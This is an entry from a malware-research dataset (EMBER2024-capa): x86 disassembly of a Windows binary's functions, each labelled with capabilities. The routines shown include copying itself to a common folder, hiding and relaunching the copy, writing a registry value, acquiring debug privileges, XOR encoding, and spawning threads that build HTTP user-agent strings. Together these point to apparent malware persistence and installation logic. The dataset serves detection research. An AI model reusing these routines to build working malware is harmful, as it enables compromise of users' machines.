joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405b34
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d64
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
je 0x405bb7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d64
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
je 0x405bb7
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x405d80
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x405c40
xor eax, eax
push ebp
push 0x405c39
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00405970
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x405c1e
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x405da0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x405c1e
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405c40
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x405d5a
cmp byte [ebp - 0xd], 0
jne 0x405c87
cmp byte [ebp - 0x12], 0
je 0x405d5a
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x405ca0
dec ebx
cmp byte [ebx], 0x2e
je 0x405caf
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x405c9f
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x405d5a
inc ebx
cmp byte [ebp - 0x12], 0
je 0x405cec
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405d5a
cmp byte [ebp - 0xd], 0
je 0x405d5a
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x405d5a
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x406434
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
mov eax, dword [ebp + 0xc]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x406513
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp + 0xc]
call fcn.004046ac
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404ac4
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x4064f0
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
call fcn.00404ac4
mov esi, eax
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x4064e7
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.00404cf8
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx]
call fcn.00404ac4
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov edx, dword [ebp - 0x14]
dec edx
mov eax, ebx
call fcn.00404cf8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40651a
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
lea eax, [ebp + 0xc]
call fcn.00404658
ret

Function at 0x406524
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
mov eax, dword [ebp + 8]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x4065c6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404ac4
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [ebp + 8]
test eax, eax
je 0x406578
sub eax, 4
mov eax, dword [eax]
mov ebx, eax
push ebx
lea eax, [ebp + 8]
call fcn.00404b24
push eax
push 1
push 0
mov eax, dword [ebp - 8]
call fcn.00404ac4
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4065cd
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
lea eax, [ebp + 8]
call fcn.00404658
ret
Function at 0x4065d4
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x40664a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00404ac4
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyA
mov eax, dword [ebp - 8]
call fcn.00404ac4
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406651
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
ret

Function at 0x4066e8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x40675c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
test eax, eax
je 0x406716
sub eax, 4
mov eax, dword [eax]
mov esi, eax
test esi, esi
jle 0x40673c
mov ebx, 1
lea eax, [ebp - 4]
call fcn.00404b24
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dl, 0xbc
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x406721
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004046ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406763
lea eax, [ebp - 4]
call fcn.00404658
ret
Function at 0x4069c4
Capabilities:
Copy file
Create process on windows
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x406ae8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x10]
call fcn.004074a0
push dword [ebp - 0x10]
push 0x406afc
push dword [ebp - 8]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.004049c8
lea edx, [ebp - 0x14]
xor eax, eax
call fcn.004030cc
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
call fcn.00404a5c
je 0x406aa0
mov eax, dword [ebp - 0xc]
call fcn.004073a8
test al, al
je 0x406a46
mov eax, dword [ebp - 0xc]
call fcn.00404ac4
push eax
call sub.KERNEL32.DLL_DeleteFileA
push 0
mov eax, dword [ebp - 0xc]
call fcn.00404ac4
mov ebx, eax
push ebx
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.004030cc
mov eax, dword [ebp - 0x18]
call fcn.00404ac4
push eax
call sub.KERNEL32.DLL_CopyFileA
mov eax, dword [ebp - 0xc]
call fcn.004073a8
test al, al
je 0x406a7f
push 2
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
push 0x64
call sub.KERNEL32.DLL_Sleep_1
push 5
push 0
push 0
push ebx
push 0x406b08
push 0
call sub.shell32.dll_ShellExecuteA
push 0
call sub.KERNEL32.DLL_ExitProcess_1
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.004030cc
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0xc]
call fcn.00404a5c
jne 0x406acd
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x406b18
mov eax, 0x80000001
call fcn.00406524
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406aef
lea eax, [ebp - 0x1c]
mov edx, 7
call fcn.0040467c
ret

Function at 0x406d84
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x406dfc
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.004074a0
push dword [ebp - 0xc]
push 0x406e10
push dword [ebp - 4]
lea eax, [ebp - 8]
mov edx, 3
call fcn.004049c8
push 5
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404ac4
push eax
push 0x406e1c
push ebx
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406e03
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.0040467c
ret
Function at 0x406e24
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x406eef
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
test eax, eax
je 0x406e64
sub eax, 4
mov eax, dword [eax]
mov esi, eax
test esi, esi
jle 0x406ecc
mov dword [ebp - 0x14], 1
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
movzx eax, byte [eax + edx - 1]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
test eax, eax
je 0x406e8b
sub eax, 4
mov eax, dword [eax]
test eax, eax
jle 0x406ea5
mov edx, 1
mov ecx, dword [ebp - 8]
movzx ecx, byte [ecx + edx - 1]
add ebx, ecx
xor ebx, 9
inc edx
dec eax
jne 0x406e94
lea eax, [ebp - 0x18]
movzx edx, byte [ebp - 0x10]
mov ecx, ebx
shr ecx, 3
xor dl, cl
call fcn.00404840
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
call fcn.00404900
mov eax, dword [ebp - 0xc]
inc dword [ebp - 0x14]
dec esi
jne 0x406e71
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406ef6
lea eax, [ebp - 0x18]
call fcn.00404658
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
ret

Function at 0x406efc
Capabilities:
Acquire debug privileges

Disassembly:
add esp, 0xffffffe8
push esp
push 0x28
call sub.KERNEL32.DLL_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x406f4c
lea eax, [esp + 0xc]
push eax
push 0x406f50
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
mov dword [esp + 8], 1
mov dword [esp + 0x14], 2
lea eax, [esp + 4]
push eax
push 0
push 0
lea eax, [esp + 0x14]
push eax
push 0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
add esp, 0x18
ret
Function at 0x406fb8
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff68
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4071bb
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00406f64
cmp al, 1
jne 0x406fef
lea eax, [ebp - 4]
mov edx, 0x4071d0
call fcn.004046f0
jmp 0x406ffc
lea eax, [ebp - 4]
mov edx, 0x4071e0
call fcn.004046f0
mov eax, ebx
mov edx, 0x4071f0
call fcn.004046ac
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call sub.KERNEL32.DLL_GetVersionExA
test eax, eax
je 0x407196
mov eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x88]
dec ecx
je 0x407107
dec ecx
jne 0x407185
cmp eax, 4
jg 0x40705f
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x407204
call fcn.0040494c
jmp 0x4071a5
cmp eax, 5
jne 0x40707c
test edx, edx
jne 0x40707c
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x407218
call fcn.0040494c
jmp 0x4071a5
cmp eax, 5
jne 0x40709a
cmp edx, 1
jne 0x40709a
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x407230
call fcn.0040494c
jmp 0x4071a5
cmp eax, 6
jne 0x4070b7
test edx, edx
jne 0x4070b7
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x407244
call fcn.0040494c
jmp 0x4071a5
cmp eax, 6
jne 0x4070d5
cmp edx, 1
jne 0x4070d5
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x40725c
call fcn.0040494c
jmp 0x4071a5
cmp eax, 6
jne 0x4070f3
cmp edx, 2
jne 0x4070f3
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x407270
call fcn.0040494c
jmp 0x4071a5
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x4071f0
call fcn.0040494c
jmp 0x4071a5
cmp eax, 4
jne 0x407124
test edx, edx
jne 0x407124
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x407284
call fcn.0040494c
jmp 0x4071a5
cmp eax, 4
jne 0x407159
cmp edx, 0xa
jne 0x407159
cmp byte [ebp - 0x83], 0x41
jne 0x407148
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x407298
call fcn.0040494c
jmp 0x4071a5
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x4072b0
call fcn.0040494c
jmp 0x4071a5
cmp eax, 4
jne 0x407174
cmp edx, 0x5a
jne 0x407174
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x4072c4
call fcn.0040494c
jmp 0x4071a5
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x4072d8
call fcn.0040494c
jmp 0x4071a5
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x4072d8
call fcn.0040494c
jmp 0x4071a5
mov eax, ebx
mov ecx, dword [ebp - 4]
mov edx, 0x4072d8
call fcn.0040494c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4071c2
lea eax, [ebp - 4]
call fcn.00404658
ret

Function at 0x407334
Capabilities:
Get geographical location

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
push 5
lea eax, [esp + 4]
push eax
push 0x5a
push 0x400
call sub.KERNEL32.DLL_GetLocaleInfoA_1
cmp eax, 3
sete al
test al, al
je 0x407360
mov eax, ebx
mov edx, esp
call fcn.00404850
pop ecx
pop edx
pop ebx
ret
Function at 0x4073dc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
xor eax, eax
push ebp
push 0x407490
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00404658
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00404ac4
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x40746c
mov dword [ebp - 0x10], pe_nt_image_headers32
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00404ac4
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov eax, ebx
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.004048c8
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407497
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
ret

Function at 0x4074a0
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef4
mov ebx, eax
push esp
push 0
push 0
push 0x1c
push 0
call sub.shfolder.dll_SHGetFolderPathA
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004048c8
mov eax, dword [ebx]
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x108]
test eax, eax
je 0x4074de
sub eax, 4
mov eax, dword [eax]
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x5c
je 0x4074f3
mov eax, ebx
mov edx, 0x407504
call fcn.00404900
add esp, 0x10c
pop ebx
ret

Function at 0x407b8c
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.shfolder.dll_SHGetFolderPathA_1
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x407bc2
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004048c8
jmp 0x407bc9
mov eax, ebx
call fcn.00404658
add esp, 0x108
pop ebx
ret
Function at 0x409944
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
mov eax, dword [ebp + 8]
call fcn.00404ab4
mov ebx, 0x420e74
xor eax, eax
push ebp
push 0x409a27
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004046ac
lea eax, [ebx + 4]
mov edx, dword [ebp - 8]
call fcn.004046ac
mov dword [ebx + 0x10], esi
mov eax, dword [ebp + 0xc]
dec eax
mov dword [ebx + 0xc], eax
lea eax, [ebx + 0x14]
mov edx, dword [ebp + 8]
call fcn.004046ac
mov dword [ebx + 8], 0x3e8
cmp dword [ebx + 0x10], 0x18f
jle 0x4099c0
mov dword [ebx + 0x10], 0x18e
mov byte [0x420e70], 1
mov esi, dword [ebx + 0xc]
test esi, esi
jl 0x4099f3
inc esi
mov ebx, 0x420828
push 0x420e6c
push 0
push 0
push 0x409794
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [ebx], eax
add ebx, 4
dec esi
jne 0x4099d4
mov eax, dword [0x41de30]
mov eax, dword [eax]
mov edx, 0x409a40
call fcn.0041a778
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409a2e
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
lea eax, [ebp + 8]
call fcn.00404658
ret

Function at 0x409a5c
Capabilities:
Suspend thread

Disassembly:
push ebx
push esi
cmp byte [0x420e70], 1
jne 0x409a88
mov byte [0x420e70], 0
mov esi, eax
test esi, esi
jl 0x409a88
inc esi
mov ebx, 0x420828
mov eax, dword [ebx]
push eax
call sub.KERNEL32.DLL_SuspendThread
add ebx, 4
dec esi
jne 0x409a7a
pop esi
pop ebx
ret

Function at 0x40a4c8
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x40a61b
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0040312c
push dword [0x420ea8]
push 0x40a630
push 0x40a63c
push 0x40a650
push dword [0x420ea0]
push 0x40a660
push 0x40a66c
mov eax, 0x11
call fcn.00403154
push dword [eax*4 + 0x41d84c]
push 0x40a660
push 0x40a684
push 0x40a6a0
push 0x40a6c8
push 0x40a6fc
mov eax, 0x11
call fcn.00403154
push dword [eax*4 + 0x41d898]
push 0x40a660
push 0x40a710
push 0x40a74c
lea eax, [ebp - 4]
mov edx, 0x11
call fcn.004049c8
mov eax, dword [0x420ea8]
mov edx, 0x40a770
call fcn.00404a5c
jne 0x40a5fb
mov eax, 2
call fcn.00403154
push dword [eax*4 + 0x41d8e0]
push 0x40a780
push 0x40a78c
push 0x40a650
push dword [0x420ea0]
push 0x40a660
push 0x40a66c
mov eax, 0x11
call fcn.00403154
push dword [eax*4 + 0x41d84c]
push 0x40a660
push 0x40a684
push 0x40a6a0
push 0x40a6c8
push 0x40a6fc
mov eax, 0x11
call fcn.00403154
push dword [eax*4 + 0x41d898]
push 0x40a660
push 0x40a710
push 0x40a74c
lea eax, [ebp - 4]
mov edx, 0x11
call fcn.004049c8
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004046ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40a622
lea eax, [ebp - 4]
call fcn.00404658
ret
Function at 0x40a930
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov eax, dword [ebp - 8]
call fcn.00404ab4
mov eax, dword [ebp + 8]
call fcn.00404ab4
mov esi, 0x420e9c
xor eax, eax
push ebp
push 0x40a9fb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004046ac
lea eax, [esi + 4]
mov edx, dword [ebp - 8]
call fcn.004046ac
mov dword [esi + 8], ebx
lea eax, [esi + 0xc]
mov edx, dword [ebp + 8]
call fcn.004046ac
mov eax, dword [ebp + 0xc]
mov dword [esi + 0x10], eax
cmp dword [esi + 8], 0x12c
jle 0x40a9a4
mov dword [esi + 8], 0x12b
mov byte [0x420e98], 1
push 0x420e94
push 0
push 0
push 0x40a798
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x420e90], eax
mov eax, dword [0x41de30]
mov eax, dword [eax]
mov edx, 0x40aa14
call fcn.0041a778
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40aa02
lea eax, [ebp - 8]
mov edx, 2
call fcn.0040467c
lea eax, [ebp + 8]
call fcn.00404658
ret

Function at 0x40aa2c
Capabilities:
Suspend thread

Disassembly:
cmp byte [0x420e98], 1
jne 0x40aa47
mov byte [0x420e98], 0
mov eax, dword [0x420e90]
push eax
call sub.KERNEL32.DLL_SuspendThread
ret

Function at 0x40abdc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404ab4
mov edi, 0x420ebc
xor eax, eax
push ebp
push 0x40ac84
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.004046ac
mov dword [edi + 4], ebx
mov dword [edi + 8], esi
mov byte [0x41d8e8], 1
mov eax, dword [edi + 4]
cmp eax, 0xffff
jg 0x40ac2a
test eax, eax
jne 0x40ac31
mov dword [edi + 4], 0xbfe
cmp dword [edi + 8], 0x18f
jle 0x40ac41
mov dword [edi + 8], 0x78
push 0x420eb8
push 0
push 0
push 0x40aae4
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov dword [0x420eb4], eax
mov eax, dword [0x41de30]
mov eax, dword [eax]
mov edx, 0x40ac9c
call fcn.0041a778
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40ac8b
lea eax, [ebp - 4]
call fcn.00404658
ret

Function at 0x40acb4
Capabilities:
Suspend thread

Disassembly:
cmp byte [0x41d8e8], 1
jne 0x40accf
mov byte [0x41d8e8], 0
mov eax, dword [0x420eb4]
push eax
call sub.KERNEL32.DLL_SuspendThread
ret

Function at 0x40b0b0
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffef8
mov ebx, edx
push esp
push 0
push 0
push eax
push 0
call sub.shfolder.dll_SHGetFolderPathA_1
test eax, 0x80000000
sete al
neg al
sbb eax, eax
test eax, eax
je 0x40b0e6
mov eax, ebx
mov edx, esp
mov ecx, 0x105
call fcn.004048c8
jmp 0x40b0ed
mov eax, ebx
call fcn.00404658
add esp, 0x108
pop ebx
ret